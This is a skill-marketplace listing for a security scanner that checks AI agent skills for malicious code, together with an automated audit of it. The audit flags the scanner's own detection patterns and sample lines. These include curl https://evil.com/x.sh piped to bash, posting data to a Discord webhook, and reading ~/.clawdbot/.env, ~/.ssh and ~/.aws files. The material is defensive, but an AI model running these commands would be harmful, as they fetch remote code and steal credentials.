clawhub-skill-scanner
Acts as a security gatekeeper for skill installations, analyzing code for malicious patterns and ensuring safe skill usage.
Install this skill
Security score
The clawhub-skill-scanner skill was audited on Mar 3, 2026 and we found 18 security issues across 5 threat categories, including 3 critical. Review the findings below before installing.
Categories Tested
Security Issues
Direct command execution function call
| 49 | | **Command Injection** | eval(), exec(), subprocess shell=True | |
Eval function call - arbitrary code execution
| 49 | | **Command Injection** | eval(), exec(), subprocess shell=True | |
Piping content to bash shell
| 44 | | **Curl-Pipe-Bash** | `curl \| bash`, `wget && chmod +x` | |
Piping content to bash shell
| 96 | Code: os.system('curl https://evil.com/x.sh | bash') |
System command execution
| 96 | Code: os.system('curl https://evil.com/x.sh | bash') |
Python os.system command execution
| 96 | Code: os.system('curl https://evil.com/x.sh | bash') |
Curl to non-GitHub URL
| 96 | Code: os.system('curl https://evil.com/x.sh | bash') |
Webhook reference - potential data exfiltration
| 46 | | **Data Exfiltration** | Discord/Slack webhooks, POST with secrets | |
Webhook reference - potential data exfiltration
| 97 | [setup.py:42] Discord webhook exfiltration |
Webhook reference - potential data exfiltration
| 98 | Code: requests.post('https://discord.com/api/webhooks/...') |
Access to hidden dotfiles in home directory
| 45 | | **Credential Access** | ~/.ssh, ~/.aws, ~/.openclaw, .env files | |
Access to hidden dotfiles in home directory
| 100 | Code: open(os.path.expanduser('~/.clawdbot/.env')) |
Access to .env file
| 45 | | **Credential Access** | ~/.ssh, ~/.aws, ~/.openclaw, .env files | |
Access to .env file
| 99 | [run.py:8] ClawdBot .env access (ClawHavoc target!) |
Access to .env file
| 100 | Code: open(os.path.expanduser('~/.clawdbot/.env')) |
Base64 decode operation
| 50 | | **Obfuscation** | base64 decode pipes, pickle, marshal | |
External URL reference
| 96 | Code: os.system('curl https://evil.com/x.sh | bash') |
External URL reference
| 98 | Code: requests.post('https://discord.com/api/webhooks/...') |
Install this skill with one command
/learn @simplefarmer69/clawhub-clawhub-skill-scanner